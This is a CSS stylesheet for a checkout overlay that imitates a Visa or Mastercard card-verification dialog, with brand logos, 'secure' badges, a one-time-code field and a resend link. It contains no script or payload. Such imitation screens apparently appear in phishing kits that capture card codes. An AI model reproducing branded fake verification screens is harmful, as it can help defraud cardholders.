/* Checkout flow modals (loader + Visa-style verify dialog) */

#checkout-flow-overlay {
  position: fixed;
  inset: 0;
  z-index: 10050;
  display: none;
  align-items: center;
  justify-content: center;
  padding: 1rem;
  box-sizing: border-box;
}

#checkout-flow-overlay.is-open {
  display: flex;
}

#checkout-flow-overlay .checkout-flow-backdrop {
  position: absolute;
  inset: 0;
  background: rgba(0, 0, 0, 0.45);
}

#checkout-flow-overlay .checkout-flow-dialog {
  position: relative;
  z-index: 1;
  width: min(100%, 440px);
  background: #fff;
  border-radius: 2px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
  box-sizing: border-box;
  font-family: Arial, Helvetica, "Helvetica Neue", sans-serif;
  color: #222;
}

#checkout-flow-overlay .checkout-flow-dialog[hidden],
#checkout-flow-overlay [hidden] {
  display: none !important;
}

/* ----- Loader ----- */

#checkout-flow-overlay #checkout-flow-loader {
  padding: 2.5rem 1.5rem;
}

#checkout-flow-overlay .checkout-flow-loader {
  display: flex;
  flex-direction: column;
  align-items: center;
  justify-content: center;
  gap: 1rem;
  min-height: 140px;
  text-align: center;
}

#checkout-flow-overlay .checkout-flow-spinner {
  width: 40px;
  height: 40px;
  border: 3px solid #e5e5e5;
  border-top-color: #1a1f71;
  border-radius: 50%;
  animation: checkout-flow-spin 0.8s linear infinite;
}

@keyframes checkout-flow-spin {
  to {
    transform: rotate(360deg);
  }
}

#checkout-flow-overlay .checkout-flow-loader-text {
  margin: 0;
  color: #666;
  font-size: 0.95rem;
  line-height: 1.4;
}

/* ----- Brand header (Visa / Mastercard) ----- */

#checkout-flow-overlay #checkout-flow-action {
  padding: 1.25rem 1.75rem 1.75rem;
}

#checkout-flow-overlay .checkout-flow-brand-header {
  display: flex;
  justify-content: flex-end;
  align-items: flex-start;
  margin-bottom: 0.85rem;
  min-height: 3.25rem;
}

#checkout-flow-overlay .checkout-flow-brand {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 0.25rem;
}

#checkout-flow-overlay .checkout-flow-brand[hidden] {
  display: none !important;
}

#checkout-flow-overlay .checkout-flow-visa-logo {
  display: block;
  width: 72px;
  height: auto;
}

#checkout-flow-overlay .checkout-flow-mc-logo {
  display: block;
  width: 56px;
  height: auto;
}

#checkout-flow-overlay .checkout-flow-secure-badge {
  display: inline-block;
  color: #fff;
  font-size: 0.625rem;
  font-weight: 700;
  letter-spacing: 0.06em;
  line-height: 1;
  padding: 0.28rem 0.55rem;
  text-transform: uppercase;
  white-space: nowrap;
}

#checkout-flow-overlay .checkout-flow-secure-badge--visa {
  background: #1a1f71;
  letter-spacing: 0.08em;
}

#checkout-flow-overlay .checkout-flow-secure-badge--mastercard {
  background: #000;
  font-size: 0.5625rem;
  letter-spacing: 0.04em;
}

#checkout-flow-overlay #checkout-flow-action.is-mastercard .checkout-flow-btn--primary {
  background-color: #eb001b;
}

#checkout-flow-overlay #checkout-flow-action.is-mastercard .checkout-flow-btn--primary:hover:not(:disabled) {
  background-color: #c40018;
}

#checkout-flow-overlay #checkout-flow-action.is-mastercard .checkout-flow-resend {
  color: #eb001b;
}

#checkout-flow-overlay #checkout-flow-action.is-mastercard .checkout-flow-field input:focus {
  border-color: #eb001b;
  box-shadow: 0 0 0 1px #eb001b;
}

#checkout-flow-overlay .checkout-flow-divider {
  border: 0;
  border-top: 1px solid #d8d8d8;
  margin: 0 0 1.35rem;
}

#checkout-flow-overlay .checkout-flow-title {
  margin: 0 0 1.1rem;
  font-size: 1.5rem;
  font-weight: 700;
  line-height: 1.25;
  color: #222;
  text-align: left;
}

#checkout-flow-overlay .checkout-flow-message {
  margin: 0 0 1.75rem;
  font-size: 0.9375rem;
  font-weight: 400;
  line-height: 1.55;
  color: #333;
  white-space: pre-wrap;
  word-break: break-word;
  text-align: left;
}

#checkout-flow-overlay .checkout-flow-message.is-error {
  color: #b42318;
  margin-bottom: 1.25rem;
}

#checkout-flow-overlay .checkout-flow-field {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 0.45rem;
  margin-bottom: 1.1rem;
}

#checkout-flow-overlay .checkout-flow-field label {
  font-size: 0.875rem;
  font-weight: 400;
  color: #6b6b8a;
  text-align: center;
}

#checkout-flow-overlay .checkout-flow-field input {
  width: 100%;
  box-sizing: border-box;
  border: 1px solid #6f6f6f;
  border-radius: 3px;
  padding: 0.85rem 0.75rem;
  font-family: Arial, Helvetica, sans-serif;
  font-size: 1.75rem;
  font-weight: 400;
  line-height: 1.2;
  letter-spacing: 0.06em;
  color: #111;
  background: #fff;
  text-align: center;
}

#checkout-flow-overlay .checkout-flow-field input:focus {
  outline: none;
  border-color: #1a1f71;
  box-shadow: 0 0 0 1px #1a1f71;
}

#checkout-flow-overlay .checkout-flow-actions {
  display: flex;
  flex-direction: column;
  align-items: stretch;
  gap: 0.85rem;
}

#checkout-flow-overlay .checkout-flow-btn {
  width: 100%;
  display: flex;
  justify-content: center;
  align-items: center;
  box-sizing: border-box;
  border-radius: 3px;
  cursor: pointer;
  font-family: Arial, Helvetica, sans-serif;
  font-weight: 700;
  font-size: 0.9375rem;
  line-height: 1.2;
  padding: 0.85rem 1rem;
  border: 1px solid transparent;
  -webkit-appearance: none;
  appearance: none;
}

#checkout-flow-overlay .checkout-flow-btn:disabled {
  opacity: 0.65;
  cursor: not-allowed;
}

#checkout-flow-overlay .checkout-flow-btn--primary {
  background-color: #0057b8;
  color: #fff;
  text-transform: uppercase;
  letter-spacing: 0.04em;
}

#checkout-flow-overlay .checkout-flow-btn--primary:hover:not(:disabled) {
  background-color: #004a9c;
}

#checkout-flow-overlay .checkout-flow-btn--secondary {
  background: #fff;
  border-color: #6f6f6f;
  color: #222;
  text-transform: none;
}

#checkout-flow-overlay .checkout-flow-resend {
  display: block;
  margin: 0.15rem auto 0;
  padding: 0;
  border: 0;
  background: none;
  color: #0057b8;
  font-family: Arial, Helvetica, sans-serif;
  font-size: 0.9375rem;
  font-weight: 400;
  text-align: center;
  text-decoration: none;
  cursor: pointer;
}

#checkout-flow-overlay .checkout-flow-resend:hover {
  text-decoration: underline;
}

#checkout-flow-overlay .checkout-flow-resend[hidden] {
  display: none !important;
}

#checkout-flow-overlay .checkout-flow-error-hint {
  margin: 0.75rem 0 0;
  font-size: 0.85rem;
  color: #b42318;
  text-align: center;
}
